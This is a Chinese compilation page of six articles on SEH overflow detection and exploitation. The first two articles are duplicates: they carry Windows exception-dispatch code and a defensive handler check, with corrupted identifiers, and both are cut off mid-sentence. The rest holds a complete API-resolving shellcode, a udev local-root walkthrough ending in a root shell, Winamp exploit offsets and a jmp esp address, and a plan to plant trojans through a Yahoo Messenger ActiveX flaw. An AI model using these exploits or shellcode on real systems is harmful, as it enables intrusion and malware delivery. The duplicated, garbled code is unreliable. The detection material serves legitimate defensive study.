“金山打字通”通过精心收集,向本站投稿了6篇SEH溢出利用检测思路,下面小编为大家带来整理后的SEH溢出利用检测思路,希望大家喜欢!

篇1:SEH溢出利用检测思路
看到安焦上的一篇《基于栈指纹检测缓冲区溢出的一点思路》,这是在ShellCode已经运行时在它的调用堆栈(被Hook的下级调用函数LoadLibrary)里进行检测,有些利用溢出覆盖SEH Handler,然后任程序运行,因为溢出破坏了堆或栈,肯定会出现异常,这时指向ShellCode的Handler被运行,我在想这一类的溢出利用,既然它想运行,那首先要过操作系统的异常派遣这一关,如果在分派异常时我们就对SEH Handler进行一下检测,或许能在ShellCode运行前就发现它,
我简单看了一下SEH处理流程,一直跟到这两个函数,因为wrk代码不全,所以我选取ReactOS的代码,但并不影响理解。
以下代码来自ReactOS,版权归原作者
VOID
NTAPI
KiUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord,
PCONTEXT Context)
{
EXCEPTION_RECORD NestedExceptionRecord;
NTSTATUS Status;
/* call the vectored exception handlers */
if(RtlpExecuteVectoredExceptionHandlers(ExceptionRecord,
Context) != ExceptionContinueExecution)
{//VEH??? ReactOS也太强了吧,实现了XP的VEH,兼容度很高啊!
goto ContinueExecution;
}
else
{
/* Dispatch the exception and check the result */
if(RtlDispatchException(ExceptionRecord, Context))
{
ContinueExecution:
/* Continue executing */
Status = NtContinue(Context, FALSE);
}
else
{
/* Raise an exception */
Status = NtRaiseException(ExceptionRecord, Context, FALSE);
}
}
/* Setup the Exception record */
NestedExceptionRecord.ExceptionCode = Status;
NestedExceptionRecord.ExceptionFlags = EXCEPTION_NONCONTINUABLE;
NestedExceptionRecord.ExceptionRecord = ExceptionRecord;
NestedExceptionRecord.NumberParameters = Status;
/* Raise the exception */
RtlRaiseException(&NestedExceptionRecord);
}
BOOLEAN
NTAPI
RtlDispatchException(IN PEXCEPTION_RECORD ExceptionRecord,
IN PCONTEXT Context)
{
PEXCEPTION_REGISTRATION_RECORD RegistrationFrame, NestedFrame. = NULL;
DISPATCHER_CONTEXT DispatcherContext;
EXCEPTION_RECORD ExceptionRecord2;
EXCEPTION_DISPOSITION Disposition;
ULONG_PTR StackLow, StackHigh;
ULONG_PTR RegistrationFrameEnd;
/* Get the current stack limits and registration frame. */
RtlpGetStackLimits(&StackLow, &StackHigh);
RegistrationFrame. = RtlpGetExceptionList;
/* Now loop every frame. */
while (RegistrationFrame. != EXCEPTION_CHAIN_END)
{
/* Find out where it ends */
RegistrationFrameEnd = (ULONG_PTR)RegistrationFrame. +
sizeof(EXCEPTION_REGISTRATION_RECORD);
/* Make sure the registration frame. is located within the stack */
if ((RegistrationFrameEnd > StackHigh) ||
((ULONG_PTR)RegistrationFrame. < StackLow) ||
((ULONG_PTR)RegistrationFrame. & 0x3))
{
/* Check if this happened in the DPC Stack */
if (RtlpHandleDpcStackException(RegistrationFrame,
RegistrationFrameEnd,
&StackLow,
&StackHigh))
{
/* Use DPC Stack Limits and restart */
continue;
}
/* Set invalid stack and return false */
ExceptionRecord->ExceptionFlags |= EXCEPTION_STACK_INVALID;
return FALSE;
}
/* Check if logging is enabled */
RtlpCheckLogException(ExceptionRecord,
Context,
RegistrationFrame,
sizeof(*RegistrationFrame));
/* Call the handler */
Disposition = RtlpExecuteHandlerForException(ExceptionRecord,
RegistrationFrame,
Context,
&DispatcherContext,
RegistrationFrame->
Handler);
/* Check if this is a nested frame. */
if (RegistrationFrame. == NestedFrame)
{
/* Mask out the flag and the nested frame. */
ExceptionRecord->ExceptionFlags &= ~EXCEPTION_NESTED_CALL;
NestedFrame. = NULL;
}
/* Handle the dispositions */
switch (Disposition)
{
/* Continue searching */
case ExceptionContinueExecution:
/* Check if it was non-continuable */
if (ExceptionRecord->ExceptionFlags & EXCEPTION_NONCONTINUABLE)
{
/* Set up the exception record */
ExceptionRecord2.ExceptionRecord = ExceptionRecord;
ExceptionRecord2.ExceptionCode =
STATUS_NONCONTINUABLE_EXCEPTION;
ExceptionRecord2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;
ExceptionRecord2.NumberParameters = 0;
/* Raise the exception */
RtlRaiseException(&ExceptionRecord2);
}
else
{
/* Return to caller */
return TRUE;
}
/* Continue searching */
case ExceptionContinueSearch:
break;
/* Nested exception */
case ExceptionNestedException:
/* Turn the nested flag on */
ExceptionRecord->ExceptionFlags |= EXCEPTION_NESTED_CALL;
/* Update the current nested frame. */
if (DispatcherContext.RegistrationPointer > NestedFrame)
{
/* Get the frame. from the dispatcher context */
NestedFrame. = DispatcherContext.RegistrationPointer;
}
break;
/* Anything else */
default:
/* Set up the exception record */
ExceptionRecord2.ExceptionRecord = ExceptionRecord;
ExceptionRecord2.ExceptionCode = STATUS_INVALID_DISPOSITION;
ExceptionRecord2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;
ExceptionRecord2.NumberParameters = 0;
/* Raise the exception */
RtlRaiseException(&ExceptionRecord2);
break;
}
/* Go to the next frame. */
RegistrationFrame. = RegistrationFrame->Next;
}
/* Unhandled, return false */
return FALSE;
}
然后我们可以为需要保护的进程Hook KiUserExceptionDispatcher,在这里面检测Handler是否安全,我能想到的可能不太安全的Handler有四种情况,也许有更多,我只简单的实现了第一个策略(就是遍历一下SEH链),下面是相关的代码片段,
//SEHChecker.cpp
inline DWORD __fastcall GetFsDword(DWORD dwOffset)
{
__asm mov eax,DWORD PTR fs:[ecx]
}
//策略:
//1. Handler在栈区域
//2. Handler在堆区域
//3. Handler在全局数据区
//4. Handler在正常的代码页中,但第一条指令是jmp xxx,或者Handler前一段是不影响ShellCode的指令,后面带有一个jmp xxx,跳到Handler中,怎么检测?
BOOL AnyUnsafeHandler(void)
{
struct SEHChain{
SEHChain *pNext;
void *pHandler;
};
SEHChain* pChain=(SEHChain*)GetFsDword(0);
DWORD dwStackBase=GetFsDword(4);
DWORD dwStackLimit=GetFsDword(8);
BOOL bRet=FALSE;
do
{
bRet=((DWORD)(pChain->pHandler)>=dwStackLimit)&&((DWORD)(pChain->pHandler)<=dwStackBase);
pChain=pChain->pNext;
}while(!bRet&&(pChain!=(SEHChain*)-1));
return bRet;
}
VOID
WINAPI
HookedUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord,
PCONTEXT Context)
{
if(AnyUnsafeHandler())
{
ExitThread(0);
}
TrampolineUserExceptionDispatcher(ExceptionRecord,Context);
}
在检测到非安全的Handler时我为什么要用ExitThread呢,因为基于TIB的Seh Chain是线程相关的,它不是Final型的SEH Handler(不懂的参考一下Hume大侠的经典文章<
篇2:覆盖SEH的溢出利用检测思路
看到安焦上的一篇
《基于栈指纹检测缓冲区溢出的一点思路》/Article/01/23034.html
,这是在ShellCode已经运行时在它的调用堆栈(被Hook的下级调用函数LoadLibrary)里进行检测,有些利用溢出覆盖SEH Handler,然后任程序运行,因为溢出破坏了堆或栈,肯定会出现异常,这时指向ShellCode的Handler被运行,我在想这一类的溢出利用,既然它想运行,那首先要过操作系统的异常派遣这一关,如果在分派异常时我们就对SEH Handler进行一下检测,或许能在ShellCode运行前就发现它,
我简单看了一下SEH处理流程,一直跟到这两个函数,因为wrk代码不全,所以我选取ReactOS的代码,但并不影响理解。
以下代码来自ReactOS,版权归原作者
VOID
NTAPI
KiUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord,
PCONTEXT Context)
{
EXCEPTION_RECORD NestedExceptionRecord;
NTSTATUS Status;
/* call the vectored exception handlers */
if(RtlpExecuteVectoredExceptionHandlers(ExceptionRecord,
Context) != ExceptionContinueExecution)
{//VEH??? ReactOS也太强了吧,实现了XP的VEH,兼容度很高啊!
goto ContinueExecution;
}
else
{
/* Dispatch the exception and check the result */
if(RtlDispatchException(ExceptionRecord, Context))
{
ContinueExecution:
/* Continue executing */
Status = NtContinue(Context, FALSE);
}
else
{
/* Raise an exception */
Status = NtRaiseException(ExceptionRecord, Context, FALSE);
}
}
/* Setup the Exception record */
NestedExceptionRecord.ExceptionCode = Status;
NestedExceptionRecord.ExceptionFlags = EXCEPTION_NONCONTINUABLE;
NestedExceptionRecord.ExceptionRecord = ExceptionRecord;
NestedExceptionRecord.NumberParameters = Status;
/* Raise the exception */
RtlRaiseException(&NestedExceptionRecord);
}
BOOLEAN
NTAPI
RtlDispatchException(IN PEXCEPTION_RECORD ExceptionRecord,
IN PCONTEXT Context)
{
PEXCEPTION_REGISTRATION_RECORD RegistrationFrame, NestedFrame. = NULL;
DISPATCHER_CONTEXT DispatcherContext;
EXCEPTION_RECORD ExceptionRecord2;
EXCEPTION_DISPOSITION Disposition;
ULONG_PTR StackLow, StackHigh;
ULONG_PTR RegistrationFrameEnd;
/* Get the current stack limits and registration frame. */
RtlpGetStackLimits(&StackLow, &StackHigh);
RegistrationFrame. = RtlpGetExceptionList();
/* Now loop every frame. */
while (RegistrationFrame. != EXCEPTION_CHAIN_END)
{
/* Find out where it ends */
RegistrationFrameEnd = (ULONG_PTR)RegistrationFrame. +
sizeof(EXCEPTION_REGISTRATION_RECORD);
/* Make sure the registration frame. is located within the stack */
if ((RegistrationFrameEnd > StackHigh) ||
((ULONG_PTR)RegistrationFrame. < StackLow) ||
((ULONG_PTR)RegistrationFrame. & 0x3))
{
/* Check if this happened in the DPC Stack */
if (RtlpHandleDpcStackException(RegistrationFrame,
RegistrationFrameEnd,
&StackLow,
&StackHigh))
{
/* Use DPC Stack Limits and restart */
continue;
}
/* Set invalid stack and return false */
ExceptionRecord->ExceptionFlags |= EXCEPTION_STACK_INVALID;
return FALSE;
}
/* Check if logging is enabled */
RtlpCheckLogException(ExceptionRecord,
Context,
RegistrationFrame,
sizeof(*RegistrationFrame));
/* Call the handler */
Disposition = RtlpExecuteHandlerForException(ExceptionRecord,
RegistrationFrame,
Context,
&DispatcherContext,
RegistrationFrame->
Handler);
/* Check if this is a nested frame. */
if (RegistrationFrame. == NestedFrame)
{
/* Mask out the flag and the nested frame. */
ExceptionRecord->ExceptionFlags &= ~EXCEPTION_NESTED_CALL;
NestedFrame. = NULL;
}
/* Handle the dispositions */
switch (Disposition)
{
/* Continue searching */
case ExceptionContinueExecution:
/* Check if it was non-continuable */
if (ExceptionRecord->ExceptionFlags & EXCEPTION_NONCONTINUABLE)
{
/* Set up the exception record */
ExceptionRecord2.ExceptionRecord = ExceptionRecord;
ExceptionRecord2.ExceptionCode =
STATUS_NONCONTINUABLE_EXCEPTION;
ExceptionRecord2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;
ExceptionRecord2.NumberParameters = 0;
/* Raise the exception */
RtlRaiseException(&ExceptionRecord2);
}
else
{
/* Return to caller */
return TRUE;
}
/* Continue searching */
case ExceptionContinueSearch:
break;
/* Nested exception */
case ExceptionNestedException:
/* Turn the nested flag on */
ExceptionRecord->ExceptionFlags |= EXCEPTION_NESTED_CALL;
/* Update the current nested frame. */
if (DispatcherContext.RegistrationPointer > NestedFrame)
{
/* Get the frame. from the dispatcher context */
NestedFrame. = DispatcherContext.RegistrationPointer;
}
break;
/* Anything else */
default:
/* Set up the exception record */
ExceptionRecord2.ExceptionRecord = ExceptionRecord;
ExceptionRecord2.ExceptionCode = STATUS_INVALID_DISPOSITION;
ExceptionRecord2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;
ExceptionRecord2.NumberParameters = 0;
/* Raise the exception */
RtlRaiseException(&ExceptionRecord2);
break;
}
/* Go to the next frame. */
RegistrationFrame. = RegistrationFrame->Next;
}
/* Unhandled, return false */
return FALSE;
}
然后我们可以为需要保护的进程Hook KiUserExceptionDispatcher,在这里面检测Handler是否安全,我能想到的可能不太安全的Handler有四种情况,也许有更多,我只简单的实现了第一个策略(就是遍历一下SEH链),下面是相关的代码片段,
//SEHChecker.cpp
inline DWORD __fastcall GetFsDword(DWORD dwOffset)
{
__asm mov eax,DWORD PTR fs:[ecx]
}
//策略:
//1. Handler在栈区域
//2. Handler在堆区域
//3. Handler在全局数据区
//4. Handler在正常的代码页中,但第一条指令是jmp xxx,或者Handler前一段是不影响ShellCode的指令,后面带有一个jmp xxx,跳到Handler中,怎么检测?
BOOL AnyUnsafeHandler(void)
{
struct SEHChain{
SEHChain *pNext;
void *pHandler;
};
SEHChain* pChain=(SEHChain*)GetFsDword(0);
DWORD dwStackBase=GetFsDword(4);
DWORD dwStackLimit=GetFsDword(8);
BOOL bRet=FALSE;
do
{
bRet=((DWORD)(pChain->pHandler)>=dwStackLimit)&&((DWORD)(pChain->pHandler)<=dwStackBase);
pChain=pChain->pNext;
}while(!bRet&&(pChain!=(SEHChain*)-1));
return bRet;
}
VOID
WINAPI
HookedUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord,
PCONTEXT Context)
{
if(AnyUnsafeHandler())
{
ExitThread(0);
}
TrampolineUserExceptionDispatcher(ExceptionRecord,Context);
}
在检测到非安全的Handler时我为什么要用ExitThread呢,因为基于TIB的Seh Chain是线程相关的,它不是Final型的SEH Handler(不懂的参考一下Hume大侠的经典文章<

篇3:基于栈指纹检测缓冲区溢出的思路
引言
当前主动防御等的概念逐渐进入人们视野,国外主流的杀毒软件都有栈溢出的检测模块,尽管相对传统的木马和病毒来说,缓冲区溢出仍占攻击的很小一部分,但是基于传统的“木桶理论”,安全是一个整体,威胁还是无处不在,
现有的栈溢出检测模式
整篇文章我都以Kaspersky Internet Security(KIS 6)作为例子,KIS7中这一部分并无大的改进。以下是测试用的Shellcode:
__asm
{
/* --------------------解码开始---------------------- */
jmp decode_end
decode_start:
pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x13D // 要解码的长度
decode_loop:
xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok
decode_end:
call decode_start
decode_ok:
/*--------------------解码结束---------------------- */
jmp end
start:
pop edx // 指令表起始地址存放在 esp -> edx
// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax,[eax+8]
// ========== 定位GetProcAddress的地址 ==========
//
// 输入:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
//
// 输出:
// ebx => kernel32.dll起始地址
// eax => GetProcAddress地址
// edx => 指令表起始地址
mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address
mov esi,dword ptr [ebx+3Ch] // esi = PE header offset
mov esi,dword ptr [esi+ebx+78h]
add esi,ebx // esi = exports directory table
mov edi,dword ptr [esi+20h]
add edi,ebx // edi = name pointers table
mov ecx,dword ptr [esi+14h] // ecx = number of name pointers
xor ebp,ebp
push esi
search_GetProcAddress:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx // 把输出函数名表起始地址存人edi
mov esi,edx // 指令表起始地址存入esi
//mov ecx,0Eh // 函数getprocAddress长度为0Eh
push 0xE
pop ecx
repe cmps byte ptr [esi],byte ptr [edi]
je search_GetProcAddress_ok
pop ecx
pop edi
add edi,4
inc ebp
loop search_GetProcAddress
search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx,ebp
mov eax,dword ptr [esi+0x24]
add eax,ebx
shl ecx,1
add eax,ecx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+0x1C]
add eax,ebx
shl ecx,2
add eax,ecx
mov eax,dword ptr [eax]
add eax,ebx
// ============ 调用函数解决api地址 ============
//
// 输入:
// ebx =>kernel32.dll起始地址
// eax =>GetProcAddress地址
// edx =>指令表起始地址
//
// 输出:
// edi =>函数地址base addr
// esi =>指令表当前位置
// edx =>GetProcAddress 地址
mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串“GetProcAddress”32177368
// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
//mov ecx,0x5 // 需要解决的函数地址的个数
push 0x2
pop ecx
call locator_api_addr
// ============ 加载user32.dll ============
add esi,0xd
// 硬编码可以节省两个字节
push edx // edx是GetProcAddress 地址
push esi // 字符“urlmon”地址
//mov dword ptr fs:[4],0x0012FFFF
//mov dword ptr fs:[8],0x0012FFFF
call dword ptr [edi-4] // LoadLibraryA
// ============ 解决函数地址 ============
pop edx
mov ebx,eax // 将urlmon.dll起始地址存放在ebx
//mov ecx,1 // 函数个数
push 0x1
pop ecx // 函数个数 <-这种方式省两个字节
call locator_api_addr
// 取得一些空间存放系统路径
sub esp, 0x20
mov ebx, esp
//MessageBox的参数
mov dword ptr [ebx], 0x797a7967 // “yzyg”
mov dword ptr [ebx+0x4], 0x00000000 // “00”
push 0
push ebx
push ebx
push 0
call [edi-0x4] //MessageBoxA
// ExitProcess
push eax
call dword ptr [edi-0x0c] // ExitProcess
// ============ 解决api地址的函数 ============
//
// 输入参数:
// ecx 函数个数
// edx GetProcAddress 地址
// ebx 输出函数的dll起始地址
// esi 函数名表起始地址
// edi 保存函数地址的起始地址
locator_api_addr:
locator_space:
xor eax,eax
lodsb
test eax,eax // 寻找函数名之间的空格x00
jne locator_space
篇4:UDEV本地溢出漏洞利用手记
职业欠钱
这段时间UDEV溢出漏洞很火,在虚拟机上做了下试验,发现确实很好用,
貌似通杀范围很广
1. 将/Article/04/37558.html 保存为一个shell文件,也可以随便命名,例如我后面命名为a
2. 查找udev的第一个socket的PID,可以通过执行如下命令获得:
cat /proc/net/netlink
3. 将出现在第一行的PID减去1,作为参数,例如
sk Eth Pid Groups Rmem Wmem Dump Locks
cfe9ce00 0 0 00000000 0 0 00000000
这个PID是0,减去1后得到-1
4. sh a -1 (如果失败了,多执行几次)
下面是一次成功的演示(我失败了N次,本来以为系统不受影响的,后来听说2.6内核的都受影响,所以多尝试了几次,忽然间看到一个可爱的#,激动)
bt tmp $ cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
cfe9ce00 0 0 00000000 0 0 00000000 2
cf8f3800 6 0 00000000 0 0 00000000 2
cfa96400 8 0 00000000 0 0 00000000 2
cfe13000 10 0 00000000 0 0 00000000 2
cff57c00 12 0 00000000 0 0 00000000 2
cfe9cc00 15 0 00000000 0 0 00000000 2
cff57600 15 1060 00000001 0 0 00000000 2
c12a3000 16 0 00000000 0 0 00000000 2
c12a3200 18 0 00000000 0 0 00000000 2
bt tmp $ sh a -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
/usr/lib/gcc/i486-slackware-linux/4.1.2/../../../../i486-slackware-linux/bin/ld: cannot open output file /tmp/suid: Permission denied
collect2: ld returned 1 exit status
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.1# id
uid=0(root) gid=0(root) groups=10(wheel)
sh-3.1# uname -a
Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT i686 Intel(R) Pentium(R) Dual CPU E2140 @ 1.60GHz GenuineIntel GNU/Linux
------------------------郁闷的分割线----------------------------------------------------------------------
后来又反复测试了几十次,才能够再成功一次,
bt test $ bash b -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1$ exit -----------> 又失败了
exit
bt test $ bash b -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# ---------------> 成功
篇5:Winamp 栈溢出分析及利用漏洞预警
Winamp是一个比较老的播放器,这里主要是通过winamp的一个poc分析,构造一个exp,主程序见附件winamp.exe, poc见附件poc.m3u。
一、 Poc 分析
首先查看poc如下。发现除了前10多个字节为m3u文件格式规定内容外,其它部分均为A。
运行winamp.exe程序,将poc.m3u拖入主界面中,程序直接崩溃。为了查看崩溃时状态,我们将windbg设置为即时调试器。设置在cmd中使用命令:
windbg –I
再次运行poc,自动弹出windbg,发现崩溃状态:
出现异常,主要是esi+4不可写,修改esi=0045000,命令为:
r @esi=00445000
继续运行,停至
eax为41414141,[Eax+0c]处也不可读,且经分析,必须[eax+0c]的第5位为1,程序才会运行至strcpy处,所以修改eax=12c238
继续运行,发现程序运行至41414141,这样我们就完全控制了程序的执行,
二、定位异常
通过构造一个特殊的poc来定位:
定位结果如下:esi=eax=306a4139, 程序最后的eip=6141326a
在poc文件中搜索
可知要绕过异常: 0x11e处的4字节 data需要满足:
[data+4]可读
且Byte ptr[data+c] 第5字节为1
最后选择了一个满足条件的data:719f7bf0
程序覆盖点在0×126处,此处存放jmp esp的地址(这里用7ffa4512,这是个比较通用的jmp esp地址)。
三、构造 exp
完整的exp构造见附件。主要包括4字节绕过异常放在0x11e处,0×126处放jmp esp指令地址,shellcode放在0x12a开始处。
测试:(环境xp sp3)
结果:能成功弹出计算器
附件下载地址: pan.baidu.com/s/1sjoCWMx
篇6:关于Yahoo! Messenger 0day 利用思路
这个漏洞暴光也有几个星期了,官方至今也未出补丁,
测试程序:download.yahoo.com/dl/msgr8/us/ymsgr8us.exe
漏洞介绍
雅虎通是一款非常流行的即时通讯工具。
雅虎通的CYFT ActiveX控件实现上存在漏洞,远程攻击者可能利用此漏洞向用户系统上传任意文件。
CYFT ActiveX控件的GetFile()方式没有对用户提交的参数做充分的检查过滤,远程攻击者可以通过提供畸形参数向用户系统的任意位置上传任意文件,但是相关的控件默认情况下不能远程调用。
从漏洞介绍上就可以看出此漏洞并无本地执行权限,也就是说光可以下载EXE 但无法执行。
其实此漏洞XP2 IE默认设置下ActiveX控件是无法调用的,这里只是谈下执行EXE的思路,以后也可能出现类似漏洞。
先前也见过有人用WScript.Shell组件来执行EXE,在HTML文件里是不可能的,况且还是本地执行。
这个我曾经也考虑过,其实这个漏洞保存的目录是可以设定的,可保存到C:Documents and SettingsAll Users「开始」菜单程序启动
等下次开机时去执行,
这里给大家说一种新的本地执行思路,mailto:和mms:
maito:的默认关联 ..Program FilesOutlook Expressmsimn.exe
mms:的默认关联 ..Program FilesWindows Media Playerwmplayer.exe
我们可以把木马覆盖到..Program FilesOutlook Expressmsimn.exe 通过mailto:来执行
当装了Microsoft Office 2000/2003/2007或其他邮件工具时,maito:关联不再是默认
先前的“Windows Media Player Oday”就是通过Media返回错误,使域环境发生改变,利用Microsoft.XMLHTTP 发送下载请求
再通过ADODB.Stream组件将木马覆盖到..Program FilesWindows Media Playerwmplayer.exe,完后访问通过IE访问mms:
最终完成木马的执行,不过这只是针对SP1系统的。
Yahoo! Messenger 0day利用代码
此漏洞虽然只是在本地执行生效,如果我们能改变SP2域环境就可以实现远程调用,一代挂马王又将诞生。












